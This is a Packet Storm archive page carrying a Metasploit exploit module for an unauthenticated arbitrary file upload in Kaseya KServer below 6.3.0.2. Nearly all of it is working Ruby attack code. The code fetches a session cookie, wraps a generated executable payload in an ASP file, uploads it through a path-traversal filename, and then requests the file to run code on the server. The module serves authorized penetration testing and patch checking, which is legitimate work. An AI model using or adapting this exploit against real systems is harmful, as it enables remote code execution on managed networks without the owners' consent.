Exploit the possiblities

Kaseya uploadImage Arbitrary File Upload

Kaseya uploadImage Arbitrary File Upload
Posted Dec 4, 2013
Authored by Thomas Hibbert | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability found in Kaseya versions below 6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous authentication, leading to arbitrary code execution with IUSR privileges.

tags | exploit, arbitrary, code execution, asp, file upload
advisories | OSVDB-99984
MD5 | 593b4d4095655301ec4bee6ac4bd2eb9

Kaseya uploadImage Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya uploadImage Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya versions below
6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous
authentication, leading to arbitrary code execution with IUSR privileges.
},
'Author' =>
[
'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '99984'],
['BID', '63782'],
['EDB', '29675'],
['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya KServer / Windows', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 11 2013'))
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('SystemTab','uploadImage.asp')
})

# the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404
unless res and res.code == 500
return Exploit::CheckCode::Unknown
end

return Exploit::CheckCode::Appears
end

def exploit
print_status("#{peer} - Getting cookie...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("SystemTab", "uploadImage.asp")
})

unless res and res.code == 500 and res.headers and res.headers.include?('Set-Cookie')
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to get cookie")
end

cookie = res.get_cookies
@payload_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_asp(exe)
post_data = Rex::MIME::Message.new
post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload...")
res = send_request_cgi({
"method" => "POST",
"uri" => normalize_uri("SystemTab", "uploadImage.asp"),
"vars_get" => {
"filename" => "..\\..\\..\\..\\#{@payload_name}"
},
"data" => data,
"ctype" => "multipart/form-data; boundary=#{post_data.bound}",
"cookie" => cookie
})

unless res and res.code == 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

register_files_for_cleanup(@payload_name)

print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_cgi({
'uri' => normalize_uri(@payload_name),
'method' => 'GET'
})
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    12 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close